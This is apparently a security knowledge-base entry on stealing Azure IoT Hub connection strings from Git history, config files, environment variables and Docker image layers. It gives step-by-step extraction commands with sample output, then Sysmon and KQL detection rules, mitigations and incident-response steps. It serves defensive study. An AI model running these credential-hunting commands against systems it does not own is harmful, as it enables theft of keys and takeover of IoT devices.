| Attribute | Details |
|---|---|
| Technique ID | IOT-EDGE-002 |
| MITRE ATT&CK v18.1 | T1552.001 - Unsecured Credentials: Credentials in Files |
| Tactic | Credential Access |
| Platforms | Azure IoT Hub, Azure IoT Edge, M365, Containers |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure IoT Hub (all versions), Azure IoT Edge 1.0+, Azure SDK 2.0+ |
| Patched In | N/A (Design issue, requires secure credential management) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure IoT Hub connection strings are high-privilege credentials that grant full access to IoT devices, device twins, and message queues. These strings are frequently hardcoded in application source code, stored in unencrypted configuration files, embedded in Docker images, or left in environment variables. Attackers who extract connection strings gain the ability to authenticate to Azure IoT Hub as the legitimate owner, read all device telemetry, modify device configurations, send cloud-to-device commands, and establish persistent access. Connection strings often contain Shared Access Keys valid for years, making them extremely valuable targets.
Attack Surface: Configuration files (appsettings.json, web.config, .env, terraform files), Docker image layers, Git repositories, CI/CD pipeline logs, environment variables in container runtimes, and application binaries (embedded via compiler optimizations).
Business Impact: Complete Compromise of IoT Infrastructure. Stolen connection strings grant unauthorized parties the ability to spoof legitimate devices, inject false sensor data, disable legitimate devices, and exfiltrate confidential telemetry data. In critical infrastructure (utilities, healthcare, manufacturing), this can lead to operational disruption, data breaches, and loss of customer trust.
Technical Context: Connection strings follow the pattern HostName=<hub>.azure-devices.net;SharedAccessKeyName=<key-name>;SharedAccessKey=<base64-key>. Extraction typically takes <5 minutes if credentials are in plaintext. Detection likelihood is Low if Git history is not monitored and High if Azure Activity Logs are configured for connection string pattern detection.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure Foundations Benchmark 2.3 | Credentials must not be hardcoded in code repositories |
| DISA STIG | AP-2.a | Ensure cryptographic mechanisms are used to protect sensitive data |
| CISA SCuBA | ID.BE-1 | Organizational risk management strategy must address credential storage |
| NIST 800-53 | SA-3 (System Development Life Cycle), SC-7 (Boundary Protection) | Secure credential management throughout development lifecycle |
| GDPR | Art. 25 (Data Protection by Design) | Credentials must be protected by default |
| DORA | Art. 11 | Critical incidents from credential theft must be reported |
| NIS2 | Art. 21 | Credential theft is a reportable cybersecurity incident |
| ISO 27001 | A.6.2.1 (Personnel screening), A.8.2.4 (User responsibilities) | Developers must follow secure credential practices |
| ISO 27005 | Risk assessment for credential theft | Identify and mitigate risks from hardcoded credentials |
Supported Versions:
Tools:
# Search for connection strings in Azure Key Vault (if available)
az keyvault secret list --vault-name myKeyVault --query "[].{name:name, id:id}"
# Retrieve all IoT Hub connection strings (requires IoT Hub Owner role)
az iot hub connection-string show --hub-name myIoTHub
# Check for connection strings in application configuration
Get-Content "C:\app\appsettings.json" | Select-String -Pattern "HostName" | Select-Object Line
What to Look For:
# Search for connection strings in common code locations
grep -r "HostName.*azure-devices.net" /home /opt /var/www 2>/dev/null | head -10
# Search Git history for connection strings
cd /path/to/repo && git log -p --all -S "SharedAccessKey" | grep -B 2 -A 2 "SharedAccessKey"
# Check environment variables
env | grep -i "connection\|iot\|azure"
# Search Docker compose files and Dockerfiles
find . -name "docker-compose.yml" -o -name "Dockerfile" | xargs grep -i "HostName\|SharedAccessKey"
What to Look For:
HostName=*;SharedAccessKey=*Supported Versions: Git 2.0+, all code repositories
Objective: Gain access to the Git repository containing IoT Hub configuration
Command:
# Clone the repository (if attacker has read access)
git clone https://github.com/target/iot-app.git
cd iot-app
Expected Output:
Cloning into 'iot-app'...
remote: Counting objects: 1234, done.
remote: Compressing objects: 100% (567/567), done.
remote: Receiving objects: 100% (1234/1234), 123.45 MiB | 5.67 MiB/s
Unpacking objects: 100% (1234/1234), done.
What This Means:
Objective: Identify commits containing Azure IoT Hub connection strings
Command:
git log -p --all -S "HostName" | grep -B 5 -A 5 "SharedAccessKey"
Expected Output:
commit abc123def456
Author: Developer <dev@example.com>
Date: 2024-12-15 10:30:00 +0000
Update IoT Hub configuration
- "ConnectionString": "HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh="
What This Means:
AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh= is the Shared Access KeyOpSec & Evasion:
Troubleshooting:
fatal: Not a git repository
cd /path/to/repo && git logfatal: your current branch 'main' does not have any commits yet
git branch -a and switch: git checkout <branch>References & Proofs:
Objective: Parse the connection string to identify individual credential components
Command:
# Extract the full connection string from git log
CONNECTION_STRING=$(git log -p --all -S "HostName" | grep "SharedAccessKey" | head -1 | sed 's/.*HostName/HostName/' | sed 's/".*//g')
echo "$CONNECTION_STRING"
# Parse individual components
IFS=';' read -ra PARTS <<< "$CONNECTION_STRING"
for part in "${PARTS[@]}"; do
echo "$part"
done
Expected Output:
HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh=
HostName=myhub.azure-devices.net
SharedAccessKeyName=owner
SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh=
What This Means:
HostName: Azure IoT Hub endpointSharedAccessKeyName: User/role that owns the key (often “owner” or “service”)SharedAccessKey: The base64-encoded cryptographic key used for authenticationReferences & Proofs:
Supported Versions: All versions
Objective: Locate configuration files that may contain connection strings
Command:
find . -name "appsettings.json" -o -name "web.config" -o -name ".env" -o -name "*.conf" | head -20
Expected Output:
./appsettings.json
./appsettings.Development.json
./src/config/.env
./docker-compose.yml
What This Means:
.env files are commonly unencryptedCommand:
# Search JSON files
jq '.["ConnectionStrings"]["IoTHub"]' appsettings.json
# Search .env files
grep "IOT_HUB_CONNECTION_STRING\|HostName" .env
# Search web.config
grep -i "connectionstring" web.config
Expected Output:
"HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh="
References & Proofs:
Supported Versions: Docker 18.0+
Objective: Extract Docker image layers to analyze for connection strings
Command:
# Save image to tar file
docker save myregistry.azurecr.io/iot-app:latest -o iot-app.tar
# Extract layers
tar -xf iot-app.tar -C extracted-layers/
Expected Output:
extracted-layers/
├── blobs/
│ └── sha256/
│ ├── abc123... (base OS layer)
│ ├── def456... (dependencies layer)
│ └── ghi789... (application layer)
└── manifest.json
Command:
# Extract and search all layers
for layer in extracted-layers/blobs/sha256/*; do
tar -xf "$layer" -O 2>/dev/null | strings | grep -i "HostName.*azure-devices"
done
Expected Output:
HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh=
References & Proofs:
find . -name "*.json" -o -name ".env" -o -name "*.conf" | xargs grep -E "connection|password|key|secret" 2>/dev/null
# No artifacts to clean; read-only enumeration
Reference: Atomic Red Team T1552.001
Version: 3.0+ Minimum Version: 2.0 Supported Platforms: Linux, Windows, macOS
Installation:
pip install truffleHog
Usage:
# Scan Git repository for secrets
truffleHog git https://github.com/target/repo.git
# Scan local filesystem
truffleHog filesystem /path/to/code
# Scan with custom regex for IoT Hub connection strings
truffleHog filesystem /path/to/code --regex "HostName=.*SharedAccessKey=.*"
Native Tools
Usage:
# Search for IoT Hub connection strings
grep -r "HostName.*azure-devices" /path/to/code
# Extract just the SharedAccessKey
grep -oP 'SharedAccessKey=\K[^=]*' config.json
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Get IoT Hub ConnectionString", "List IoT Hub Keys", "Regenerate IoT Hub Key")
| where Result == "Success"
| summarize Count = count() by InitiatedBy.user.userPrincipalName, OperationName, TimeGenerated
| where Count > 0
| sort by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect IoT Hub Connection String TheftHigh15 minutes1 hourKQL Query:
AuditLogs
| where OperationName == "Get git log" or OperationName == "Clone repository"
| where UserType == "User"
| summarize AccessCount = count() by UserPrincipalName, OperationName, TimeGenerated
| where AccessCount > 3
Event ID: 4662 (An operation was performed on an object)
Manual Configuration Steps (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+ Supported Platforms: Linux (auditbeat), Windows
Sysmon Config Snippet:
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Detect git log commands searching for secrets -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">git log -p</CommandLine>
<CommandLine condition="contains">SharedAccessKey</CommandLine>
<CommandLine condition="contains">HostName</CommandLine>
</ProcessCreate>
<!-- Detect grep on config files -->
<ProcessCreate onmatch="include">
<Image condition="contains">grep</Image>
<CommandLine condition="contains">appsettings.json</CommandLine>
<CommandLine condition="contains">.env</CommandLine>
</ProcessCreate>
<!-- Detect Docker save operations -->
<ProcessCreate onmatch="include">
<Image condition="contains">docker</Image>
<CommandLine condition="contains">save</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Alert Name: Sensitive Credentials Found in Code Repository
git filter-branch or git filter-repoManual Configuration Steps:
Search-UnifiedAuditLog -Operations "Get Azure IoT Hub Key", "Generate SAS Token" `
-StartDate (Get-Date).AddDays(-7) `
-ResultSize 5000 | Select-Object UserIds, Operations, CreationDate, ClientIP, RecordType | Sort-Object CreationDate -Descending
Manual Configuration Steps:
Get Azure IoT Hub Keyaudit-log.csvUse Azure Key Vault for Connection String Storage: Never hardcode connection strings; retrieve them at runtime from Key Vault.
Applies To Versions: All
Manual Steps (PowerShell - Store Connection String in Key Vault):
$keyVaultName = "myKeyVault"
$secretName = "iot-hub-connection-string"
# Store connection string in Key Vault
$connectionString = "HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=..."
az keyvault secret set --vault-name $keyVaultName --name $secretName --value $connectionString
# Grant application access to Key Vault
$appObjectId = "00000000-0000-0000-0000-000000000000" # Replace with app object ID
az keyvault set-policy --name $keyVaultName --object-id $appObjectId --secret-permissions get list
Manual Steps (Application Code - Retrieve from Key Vault):
// C# example using Azure.Identity
var credential = new DefaultAzureCredential();
var client = new SecretClient(new Uri($"https://{keyVaultName}.vault.azure.net/"), credential);
KeyVaultSecret secret = await client.GetSecretAsync("iot-hub-connection-string");
string connectionString = secret.Value;
Enable GitHub Secret Scanning: Automatically detect and alert on exposed connection strings in repositories.
Manual Steps (GitHub):
Use Managed Identities Instead of Connection Strings: Replace all connection string authentication with Azure Managed Identity (system-assigned or user-assigned).
Manual Steps (Azure IoT Edge with Managed Identity):
# Deploy IoT Edge module using managed identity
az iot edge deployment create --hub-name myHub --deployment-id prod-deployment \
--content deployment.json \
--auth-type MSI # Use Managed Service Identity
# No connection string needed; module authenticates via MSI token
Rotate IoT Hub Keys Regularly: Implement automated key rotation to limit exposure window of stolen credentials.
Manual Steps (PowerShell - Rotate Keys):
# Regenerate primary key
$resourceGroup = "myResourceGroup"
$hubName = "myIoTHub"
az iot hub policy key renew --hub-name $hubName --policy-name "owner" --regen-primary
# Wait for applications to restart and consume new key
Start-Sleep -Seconds 30
# Verify key regeneration
az iot hub policy show --hub-name $hubName --name "owner"
Implement Azure Policy to Prevent Hardcoded Credentials: Block code commits containing connection strings at the repository level.
Manual Steps (GitHub Advanced Security):
HostName=.*SharedAccessKey=Restrict IoT Hub Key Access via RBAC:
Manual Steps (Azure Portal):
IoT Hub Data Contributor (least-privilege alternative to Owner)Conditional Access: Require MFA for Key Retrieval:
Manual Steps:
# Verify no connection strings in Git history
git log -p --all | grep -c "SharedAccessKey"
# Expected Output: 0 (no matches)
# Verify Key Vault contains the connection string
az keyvault secret show --vault-name myKeyVault --name "iot-hub-connection-string" --query "value"
# Expected Output: <connection-string-value>
# Verify application uses Key Vault reference
grep -r "DefaultAzureCredential\|@Microsoft.KeyVault" src/
# Expected Output: References to secure credential retrieval
What to Look For:
HostName=*.azure-devices.net;SharedAccessKey=*, .env files with connection strings, Docker image layers with embedded secrets*.azure-devices.net using stolen connection stringsgit log -p --all | grep -B 5 -A 5 "SharedAccessKey"# Regenerate IoT Hub keys immediately
az iot hub policy key renew --hub-name myIoTHub --policy-name "owner" --regen-primary
# Revoke all devices (if compromise is widespread)
az iot hub device-identity delete --hub-name myIoTHub --device-id "*" # Use with caution
# Export Azure Activity Log
az monitor activity-log list --resource-group myResourceGroup --output json > activity-log.json
# Export Git history
git log -p --all > git-history.txt
# Export Key Vault audit logs
az monitor log-analytics query --workspace myWorkspace --analytics-query "AuditLogs | where OperationName contains 'IoT' | top 1000 by TimeGenerated"
# Rotate key in Key Vault
$newKey = "$(az iot hub policy show --hub-name myIoTHub --name owner --query primaryKey -o tsv)"
az keyvault secret set --vault-name myKeyVault --name iot-hub-connection-string --value $newKey
# Restart all applications to reload new key
# (application-specific restart commands)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IOT-EDGE-002] | Attacker extracts Azure IoT Hub connection string |
| 2 | Credential Access | [IOT-EDGE-001] IoT Device Credential Extraction | Attacker uses connection string to enumerate device credentials |
| 3 | Lateral Movement | [IOT-EDGE-004] Device Provisioning Service Abuse | Attacker registers rogue devices using stolen connection string |
| 4 | Persistence | [IOT-EDGE-003] Edge Module Compromise | Attacker deploys malicious modules to IoT Hub |
| 5 | Impact | Data Exfiltration | Attacker exfiltrates telemetry data from all devices |
IOT-EDGE-002 represents a critical and pervasive vulnerability in IoT application development. Connection strings are frequently mishandled, exposed in code repositories, hardcoded in applications, and embedded in Docker images. Organizations must implement secret management solutions (Key Vault, managed identities), automated secret scanning, and secure development practices to defend against this threat. Regular audits of codebases and remediation of exposed credentials are essential.